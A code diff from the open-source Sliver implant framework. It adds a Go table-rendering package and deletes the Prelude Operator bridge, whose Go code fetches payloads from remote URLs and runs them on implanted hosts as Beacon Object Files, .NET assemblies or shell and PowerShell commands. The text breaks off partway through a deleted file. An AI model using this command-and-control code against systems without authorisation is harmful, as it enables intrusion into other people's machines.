|
||||
ResetStr = "reset"
|
||||
|
||||
LootStr = "loot"
|
||||
LootLocalStr = "local"
|
||||
@@ -287,9 +293,8 @@ const (
|
||||
|
||||
LicensesStr = "licenses"
|
||||
|
||||
GetPrivsStr = "getprivs"
|
||||
PreludeOperatorStr = "prelude-operator"
|
||||
ConnectStr = "connect"
|
||||
GetPrivsStr = "getprivs"
|
||||
ConnectStr = "connect"
|
||||
|
||||
ShikataGaNai = "shikata-ga-nai"
|
||||
|
||||
|
||||
@@ -0,0 +1,254 @@
|
||||
package packages
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"slices"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2024 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
const (
|
||||
KeyValueSchemaName = "key-value"
|
||||
GroupedKeyValueSchemaName = "grouped-key-value"
|
||||
)
|
||||
|
||||
var validSchemas []string = []string{KeyValueSchemaName, GroupedKeyValueSchemaName}
|
||||
|
||||
type OutputSchema struct {
|
||||
Name string `json:"name"`
|
||||
RawColumns string `json:"columns"`
|
||||
GroupBy string `json:"group_by"`
|
||||
cols []string `json:"-"`
|
||||
}
|
||||
|
||||
func (schema *OutputSchema) IngestColumns() {
|
||||
schema.cols = strings.Split(schema.RawColumns, ",")
|
||||
}
|
||||
|
||||
func (schema *OutputSchema) Columns() []string {
|
||||
return schema.cols
|
||||
}
|
||||
|
||||
type PackageOutput interface {
|
||||
// The names of columns followed by any other strings needed, like the data itself
|
||||
// Each type that implements this interface will have to make sure the correct number
|
||||
// of strings are provided
|
||||
IngestData([]byte, []string, ...string) error
|
||||
// Renders the data into a table
|
||||
CreateTable() string
|
||||
Name() string
|
||||
}
|
||||
|
||||
func IsValidSchemaType(name string) bool {
|
||||
return slices.Contains(validSchemas, name)
|
||||
}
|
||||
|
||||
func GetNewPackageOutput(name string) PackageOutput {
|
||||
switch name {
|
||||
case KeyValueSchemaName:
|
||||
return &KeyValuePairs{}
|
||||
case GroupedKeyValueSchemaName:
|
||||
return &GroupedKeyValuePairs{}
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
This output schema is suitable for data that is an array of key-value pairs
|
||||
*/
|
||||
type KeyValueData map[string]string
|
||||
type KeyValuePairs struct {
|
||||
columnOrder []string
|
||||
data []KeyValueData
|
||||
// This field is optional
|
||||
columnToGroupBy string
|
||||
}
|
||||
|
||||
/*
|
||||
This output schema is suitable for one or more key-values pairs grouped
|
||||
by a group name. This schema assumes the data is already grouped and
|
||||
does not perform the grouping itself.
|
||||
*/
|
||||
type GroupedKeyValuePairs struct {
|
||||
groupedBy string
|
||||
columnOrder []string
|
||||
data map[string][]KeyValueData
|
||||
}
|
||||
|
||||
func (kvd *KeyValueData) UnmarshalJSON(data []byte) error {
|
||||
var raw map[string]interface{}
|
||||
|
||||
if err := json.Unmarshal(data, &raw); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
*kvd = make(KeyValueData, len(raw))
|
||||
for key, value := range raw {
|
||||
key = strings.ToLower(key)
|
||||
switch v := value.(type) {
|
||||
case float64:
|
||||
(*kvd)[key] = strconv.FormatFloat(v, 'f', -1, 64)
|
||||
case string:
|
||||
// Newlines and extra whitespace mess up the table
|
||||
(*kvd)[key] = strings.TrimSpace(v)
|
||||
case bool:
|
||||
(*kvd)[key] = strconv.FormatBool(v)
|
||||
default:
|
||||
return fmt.Errorf("unsupported type %T", v)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (kvp *KeyValuePairs) IngestData(data []byte, order []string, arguments ...string) error {
|
||||
if len(arguments) > 1 {
|
||||
// Only an optional a column to group by
|
||||
return fmt.Errorf("unexpected number of arguments - expected only an optional column name to group by")
|
||||
}
|
||||
groupByColumn := ""
|
||||
if len(arguments) == 1 {
|
||||
groupByColumn = arguments[0]
|
||||
}
|
||||
err := json.Unmarshal(data, &kvp.data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if len(kvp.data) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
// If the wrong columns were provided, there will be empty cells
|
||||
kvp.columnOrder = order
|
||||
// If an invalid column name is supplied, it will have no effect
|
||||
kvp.columnToGroupBy = groupByColumn
|
||||
return nil
|
||||
}
|
||||
|
||||
func (kvp *KeyValuePairs) CreateTable() string {
|
||||
if len(kvp.data) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
t := table.NewWriter()
|
||||
|
||||
header := table.Row{}
|
||||
for _, column := range kvp.columnOrder {
|
||||
header = append(header, column)
|
||||
}
|
||||
|
||||
t.AppendHeader(header)
|
||||
for _, dataRow := range kvp.data {
|
||||
tableRow := table.Row{}
|
||||
|
||||
for _, column := range kvp.columnOrder {
|
||||
column = strings.ToLower(column)
|
||||
tableRow = append(tableRow, dataRow[column])
|
||||
}
|
||||
t.AppendRow(tableRow)
|
||||
}
|
||||
|
||||
t.SetColumnConfigs([]table.ColumnConfig{{Name: kvp.columnToGroupBy, AutoMerge: true}})
|
||||
if kvp.columnToGroupBy != "" {
|
||||
t.SortBy([]table.SortBy{{Name: kvp.columnToGroupBy, Mode: table.Asc}})
|
||||
} else {
|
||||
t.SortBy([]table.SortBy{{Number: 1, Mode: table.Asc}})
|
||||
}
|
||||
|
||||
return t.Render()
|
||||
}
|
||||
|
||||
func (kvp *KeyValuePairs) Name() string {
|
||||
return KeyValueSchemaName
|
||||
}
|
||||
|
||||
func (gkvp *GroupedKeyValuePairs) IngestData(data []byte, order []string, arguments ...string) error {
|
||||
if len(arguments) != 1 {
|
||||
return fmt.Errorf("unexpected number of arguments - a grouped by column name")
|
||||
}
|
||||
|
||||
groupedBy := arguments[0]
|
||||
|
||||
err := json.Unmarshal(data, &gkvp.data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if len(gkvp.data) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
// If the wrong columns were provided, there will be empty cells
|
||||
gkvp.columnOrder = order
|
||||
// If an invalid grouped by column is provided, the table will not render correctly,
|
||||
// but there will not be any panics
|
||||
gkvp.groupedBy = groupedBy
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (gkvp *GroupedKeyValuePairs) CreateTable() string {
|
||||
if len(gkvp.data) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
t := table.NewWriter()
|
||||
|
||||
header := table.Row{}
|
||||
for _, column := range gkvp.columnOrder {
|
||||
header = append(header, column)
|
||||
}
|
||||
|
||||
t.AppendHeader(header)
|
||||
groupColumn := strings.ToLower(gkvp.groupedBy)
|
||||
for groupName, groupData := range gkvp.data {
|
||||
for _, group := range groupData {
|
||||
tableRow := table.Row{}
|
||||
for _, column := range gkvp.columnOrder {
|
||||
column = strings.ToLower(column)
|
||||
if column == groupColumn {
|
||||
tableRow = append(tableRow, groupName)
|
||||
} else {
|
||||
tableRow = append(tableRow, group[column])
|
||||
}
|
||||
}
|
||||
t.AppendRow(tableRow)
|
||||
}
|
||||
}
|
||||
|
||||
t.SetColumnConfigs([]table.ColumnConfig{{Name: gkvp.groupedBy, AutoMerge: true}})
|
||||
|
||||
if gkvp.groupedBy != "" {
|
||||
t.SortBy([]table.SortBy{{Name: gkvp.groupedBy, Mode: table.Asc}})
|
||||
} else {
|
||||
t.SortBy([]table.SortBy{{Number: 1, Mode: table.Asc}})
|
||||
}
|
||||
|
||||
return t.Render()
|
||||
}
|
||||
|
||||
func (gkvp *GroupedKeyValuePairs) Name() string {
|
||||
return GroupedKeyValueSchemaName
|
||||
}
|
||||
@@ -1,4 +0,0 @@
|
||||
Prelude
|
||||
=======
|
||||
|
||||
The `prelude` package handles the connection with [Prelude's Operator platform](https://www.prelude.org/).
|
||||
@@ -1,175 +0,0 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"errors"
|
||||
"os"
|
||||
"path"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
const (
|
||||
coffLoaderName = "coff-loader"
|
||||
loaderEntryPoint = "LoadAndRun"
|
||||
bofEntryPoint = "go"
|
||||
)
|
||||
|
||||
type bofArgs struct {
|
||||
ArgType string `json:"type"`
|
||||
Value interface{} `json:"value"`
|
||||
}
|
||||
|
||||
func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs, onFinishCallback func(string, int, int)) (output string, err error) {
|
||||
if !isLoaderLoaded(implant, rpc) {
|
||||
err = registerLoader(implant, rpc)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
bofArgs := core.BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
}
|
||||
for _, a := range args {
|
||||
switch a.ArgType {
|
||||
case "integer":
|
||||
fallthrough
|
||||
case "int":
|
||||
if v, ok := a.Value.(float64); ok {
|
||||
err = bofArgs.AddInt(uint32(v))
|
||||
}
|
||||
case "string":
|
||||
if v, ok := a.Value.(string); ok {
|
||||
err = bofArgs.AddString(v)
|
||||
}
|
||||
case "wstring":
|
||||
if v, ok := a.Value.(string); ok {
|
||||
err = bofArgs.AddWString(v)
|
||||
}
|
||||
case "short":
|
||||
if v, ok := a.Value.(float64); ok {
|
||||
err = bofArgs.AddShort(uint16(v))
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
extArgs := core.BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
}
|
||||
|
||||
parsedArgs, err := bofArgs.GetBuffer()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = extArgs.AddString(bofEntryPoint)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = extArgs.AddData(bof)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = extArgs.AddData(parsedArgs)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
extArgsBuffer, err := extArgs.GetBuffer()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
extResp, err := rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
|
||||
Name: coffLoaderName,
|
||||
ServerStore: false,
|
||||
Args: extArgsBuffer,
|
||||
Export: loaderEntryPoint,
|
||||
Request: MakeRequest(implant),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// If Async req, onFinishCallback won't be nil
|
||||
if onFinishCallback != nil {
|
||||
onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
|
||||
return
|
||||
}
|
||||
|
||||
if extResp.Response != nil && extResp.Response.Err != "" {
|
||||
err = errors.New(extResp.Response.Err)
|
||||
}
|
||||
output = string(extResp.Output)
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
|
||||
var coffLoaderPath string
|
||||
|
||||
switch implant.GetArch() {
|
||||
case "amd64":
|
||||
coffLoaderPath = "COFFLoader.x64.dll"
|
||||
case "386":
|
||||
coffLoaderPath = "COFFLoader.x86.dll"
|
||||
}
|
||||
loaderPath := path.Join(assets.GetExtensionsDir(), coffLoaderName, coffLoaderPath)
|
||||
loaderData, err := os.ReadFile(loaderPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
resp, err := rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: coffLoaderName,
|
||||
Data: loaderData,
|
||||
OS: implant.GetOS(),
|
||||
Init: "",
|
||||
Request: MakeRequest(implant),
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if resp.Response != nil && resp.Response.Err != "" {
|
||||
return errors.New(resp.Response.Err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func isLoaderLoaded(implant ActiveImplant, rpc rpcpb.SliverRPCClient) bool {
|
||||
extList, err := rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: MakeRequest(implant),
|
||||
})
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
for _, ext := range extList.Names {
|
||||
if ext == coffLoaderName {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -1,206 +0,0 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
delim = "\r\n"
|
||||
)
|
||||
|
||||
// OperatorImplantBridge maps the Sliver implants (whether it be a beacon or a session)
|
||||
// to a Prelude Operator implant with a TCP transport.
|
||||
type OperatorImplantBridge struct {
|
||||
Conn *net.Conn
|
||||
Implant ActiveImplant
|
||||
RPC rpcpb.SliverRPCClient
|
||||
PBeacon OperatorBeacon
|
||||
BeaconCallback func(string, func(*clientpb.BeaconTask))
|
||||
Config AgentConfig
|
||||
|
||||
recv chan []byte
|
||||
send chan []byte
|
||||
}
|
||||
|
||||
func NewImplantBridge(c *net.Conn, a ActiveImplant, rpc rpcpb.SliverRPCClient, pbeacon OperatorBeacon, conf AgentConfig, callback func(string, func(*clientpb.BeaconTask))) *OperatorImplantBridge {
|
||||
return &OperatorImplantBridge{
|
||||
Conn: c,
|
||||
Implant: a,
|
||||
RPC: rpc,
|
||||
Config: conf,
|
||||
BeaconCallback: callback,
|
||||
PBeacon: pbeacon,
|
||||
recv: make(chan []byte),
|
||||
send: make(chan []byte),
|
||||
}
|
||||
}
|
||||
|
||||
func (a *OperatorImplantBridge) register() {
|
||||
data, err := json.Marshal(a.PBeacon)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
|
||||
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
|
||||
(*a.Conn).Write(dataBuff)
|
||||
}
|
||||
|
||||
func (a *OperatorImplantBridge) ReceiveLoop() {
|
||||
a.register()
|
||||
go func() {
|
||||
for {
|
||||
data := <-a.send
|
||||
encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
|
||||
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
|
||||
(*a.Conn).Write(dataBuff)
|
||||
time.Sleep(time.Duration(a.PBeacon.Sleep))
|
||||
}
|
||||
}()
|
||||
for {
|
||||
scanner := bufio.NewScanner(*a.Conn)
|
||||
for scanner.Scan() {
|
||||
msg := strings.TrimSpace(scanner.Text())
|
||||
a.handleMessage(msg)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (a *OperatorImplantBridge) handleMessage(message string) {
|
||||
var tempBeacon OperatorBeacon
|
||||
decoded, err := hex.DecodeString(message)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if err := json.Unmarshal(util.PreludeDecrypt(decoded, []byte(a.Config.AESKey)), &tempBeacon); err == nil {
|
||||
a.PBeacon.Links = a.PBeacon.Links[:0]
|
||||
a.runLinks(&tempBeacon)
|
||||
}
|
||||
}
|
||||
|
||||
func (implantBridge *OperatorImplantBridge) runLinks(tempBeacon *OperatorBeacon) {
|
||||
for _, link := range implantBridge.Config.StartInstructions(tempBeacon.Links) {
|
||||
time.Sleep(time.Second * 1)
|
||||
var payload []byte
|
||||
if link.Payload != "" {
|
||||
payload, _ = requestPayload(link.Payload)
|
||||
}
|
||||
|
||||
// If we're running on a Beacon
|
||||
if implantBridge.BeaconCallback != nil {
|
||||
RunCommand(link.Request, link.Executor, payload, implantBridge, func(response string, status int, pid int) {
|
||||
link.Response = response
|
||||
link.Status = status
|
||||
link.Pid = pid
|
||||
implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
|
||||
implantBridge.Config.EndInstruction(link)
|
||||
implantBridge.refreshBeacon()
|
||||
data, err := json.Marshal(implantBridge.PBeacon)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
implantBridge.send <- data
|
||||
})
|
||||
return
|
||||
}
|
||||
// Running on a Session
|
||||
response, status, pid := RunCommand(link.Request, link.Executor, payload, implantBridge, nil)
|
||||
link.Response = response
|
||||
link.Status = status
|
||||
link.Pid = pid
|
||||
implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
|
||||
implantBridge.Config.EndInstruction(link)
|
||||
implantBridge.refreshBeacon()
|
||||
data, err := json.Marshal(implantBridge.PBeacon)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
implantBridge.send <- data
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
func requestPayload(target string) ([]byte, error) {
|
||||
resp, err := http.Get(target)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != 200 {
|
||||
return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
|
||||
}
|
||||
return io.ReadAll(resp.Body)
|
||||
}
|
||||
|
||||
func (a *OperatorImplantBridge) refreshBeacon() {
|
||||
var pwd string
|
||||
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
Request: MakeRequest(a.Implant),
|
||||
})
|
||||
if pwdResp != nil {
|
||||
pwd = pwdResp.Path
|
||||
}
|
||||
a.PBeacon.Sleep = a.Config.Sleep
|
||||
a.PBeacon.Range = a.Config.Range
|
||||
a.PBeacon.Pwd = pwd
|
||||
a.PBeacon.Target = a.Config.Address
|
||||
a.PBeacon.Executing = a.Config.BuildExecutingHash()
|
||||
|
||||
}
|
||||
|
||||
func MakeRequest(a ActiveImplant) *commonpb.Request {
|
||||
timeout := int64(defaultTimeout)
|
||||
req := &commonpb.Request{
|
||||
Timeout: timeout,
|
||||
}
|
||||
if a == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
beacon, ok := a.(*clientpb.Beacon)
|
||||
if ok {
|
||||
req.BeaconID = beacon.ID
|
||||
req.Async = true
|
||||
return req
|
||||
}
|
||||
session, ok := a.(*clientpb.Session)
|
||||
if ok {
|
||||
req.SessionID = session.ID
|
||||
req.Async = false
|
||||
return req
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,161 +0,0 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
//RunCommand executes a given command
|
||||
func RunCommand(message string, executor string, payload []byte, agentSession *OperatorImplantBridge, onFinish func(string, int, int)) (string, int, int) {
|
||||
switch executor {
|
||||
case "keyword":
|
||||
task := splitMessage(message, '.')
|
||||
switch task[0] {
|
||||
case "bof":
|
||||
if len(task) != 2 {
|
||||
break
|
||||
}
|
||||
var bargs []bofArgs
|
||||
argStr := strings.ReplaceAll(task[1], `\`, `\\`)
|
||||
err := json.Unmarshal([]byte(argStr), &bargs)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
if payload == nil {
|
||||
return "missing BOF file", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
out, err := runBOF(agentSession.Implant, agentSession.RPC, payload, bargs, onFinish)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
return out, 0, 0
|
||||
case "execute-assembly":
|
||||
if len(task) < 2 {
|
||||
break
|
||||
}
|
||||
var eaargs execasmArgs
|
||||
argStr := strings.ReplaceAll(task[1], `\`, `\\`)
|
||||
err := json.Unmarshal([]byte(argStr), &eaargs)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
if payload == nil {
|
||||
return "missing .NET assembly", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
out, err := execAsm(agentSession.Implant, agentSession.RPC, payload, eaargs, onFinish)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
return out, 0, 0
|
||||
case "exit":
|
||||
return shutdown(agentSession)
|
||||
default:
|
||||
return "Keyword selected not available for agent", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
default:
|
||||
bites, status, pid := execute(message, executor, agentSession, onFinish)
|
||||
return string(bites), status, pid
|
||||
}
|
||||
return "", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
|
||||
func execute(cmd string, executor string, implantBridge *OperatorImplantBridge, onFinishCallback func(string, int, int)) (string, int, int) {
|
||||
args := append(getCmdArg(executor), cmd)
|
||||
if executor == "psh" {
|
||||
executor = "powershell.exe"
|
||||
} else if executor == "exec" {
|
||||
commandSections := strings.Fields(cmd)
|
||||
executor = commandSections[0]
|
||||
args = commandSections[1:]
|
||||
}
|
||||
execResp, err := implantBridge.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Path: executor,
|
||||
Args: args,
|
||||
Output: true,
|
||||
Request: MakeRequest(implantBridge.Implant),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return fmt.Sprintf("Error: %s\n", err.Error()), -1, -1
|
||||
}
|
||||
|
||||
// Beacon
|
||||
if execResp.Response != nil && execResp.Response.Async {
|
||||
implantBridge.BeaconCallback(execResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, execResp)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
onFinishCallback(string(execResp.Stdout), int(execResp.Status), int(execResp.Pid))
|
||||
})
|
||||
return "", 0, 0
|
||||
}
|
||||
|
||||
// Session
|
||||
if execResp.Response != nil && execResp.Response.Err != "" {
|
||||
return execResp.Response.Err, SuccessExitStatus, SuccessExitStatus
|
||||
}
|
||||
return string(execResp.Stdout), int(execResp.Status), int(execResp.Pid)
|
||||
}
|
||||
|
||||
func getCmdArg(executor string) []string {
|
||||
var args []string
|
||||
switch executor {
|
||||
case "cmd":
|
||||
args = []string{"/S", "/C"}
|
||||
case "powershell", "psh":
|
||||
args = []string{"-execu", "-C"}
|
||||
case "exec":
|
||||
args = []string{}
|
||||
case "sh", "bash", "zsh":
|
||||
args = []string{"-c"}
|
||||
}
|
||||
return args
|
||||
}
|
||||
|
||||
func splitMessage(message string, splitRune rune) []string {
|
||||
quoted := false
|
||||
values := strings.FieldsFunc(message, func(r rune) bool {
|
||||
if r == '"' {
|
||||
quoted = !quoted
|
||||
}
|
||||
return !quoted && r == splitRune
|
||||
})
|
||||
return values
|
||||
}
|
||||
|
||||
func shutdown(agentSession *OperatorImplantBridge) (string, int, int) {
|
||||
_, err := agentSession.RPC.Kill(context.Background(), &sliverpb.KillReq{
|
||||
Force: false,
|
||||
Request: MakeRequest(agentSession.Implant),
|
||||
})
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
return fmt.Sprintf("Terminated %s", agentSession.Implant.GetID()), SuccessExitStatus, int(agentSession.Implant.GetPID())
|
||||
}
|
||||
@@ -1,114 +0,0 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"crypto/md5"
|
||||
"encoding/hex"
|
||||
"io"
|
||||
"sort"
|
||||
)
|
||||
|
||||
const (
|
||||
ErrorExitStatus = -1
|
||||
SuccessExitStatus = 0
|
||||
)
|
||||
|
||||
type Configuration interface {
|
||||
ApplyConfig(ac map[string]interface{})
|
||||
BuildBeacon() OperatorBeacon
|
||||
}
|
||||
|
||||
type AgentConfig struct {
|
||||
Name string
|
||||
AESKey string
|
||||
Range string
|
||||
Contact string
|
||||
Address string
|
||||
Useragent string
|
||||
Sleep int
|
||||
KillSleep int
|
||||
CommandJitter int
|
||||
CommandTimeout int
|
||||
Pid int
|
||||
Proxy string
|
||||
Debug bool
|
||||
Executing map[string]Instruction
|
||||
}
|
||||
|
||||
type OperatorBeacon struct {
|
||||
Name string
|
||||
Target string
|
||||
Hostname string
|
||||
Location string
|
||||
Platform string
|
||||
Executors []string
|
||||
Range string
|
||||
Sleep int
|
||||
Pwd string
|
||||
Executing string
|
||||
Links []Instruction
|
||||
}
|
||||
|
||||
type Instruction struct {
|
||||
ID string `json:"ID"`
|
||||
Executor string `json:"Executor"`
|
||||
Payload string `json:"Payload"`
|
||||
Request string `json:"Request"`
|
||||
Response string
|
||||
Status int
|
||||
Pid int
|
||||
}
|
||||
|
||||
func (c *AgentConfig) BuildExecutingHash() string {
|
||||
if count := len(c.Executing); count > 0 {
|
||||
ids := make([]string, count)
|
||||
for id := range c.Executing {
|
||||
ids = append(ids, id)
|
||||
}
|
||||
sort.Strings(ids)
|
||||
h := md5.New()
|
||||
for _, s := range ids {
|
||||
io.WriteString(h, s)
|
||||
}
|
||||
return hex.EncodeToString(h.Sum(nil))
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (c *AgentConfig) StartInstruction(instruction Instruction) bool {
|
||||
if _, ex := c.Executing[instruction.ID]; ex {
|
||||
return false
|
||||
}
|
||||
c.Executing[instruction.ID] = instruction
|
||||
return true
|
||||
}
|
||||
|
||||
func (c *AgentConfig) StartInstructions(instructions []Instruction) (ret []Instruction) {
|
||||
for _, i := range instructions {
|
||||
if c.StartInstruction(i) {
|
||||
ret = append(ret, i)
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (c *AgentConfig) EndInstruction(instruction Instruction) {
|
||||
delete(c.Executing, instruction.ID)
|
||||
}
|
||||
@@ -1,68 +0,0 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
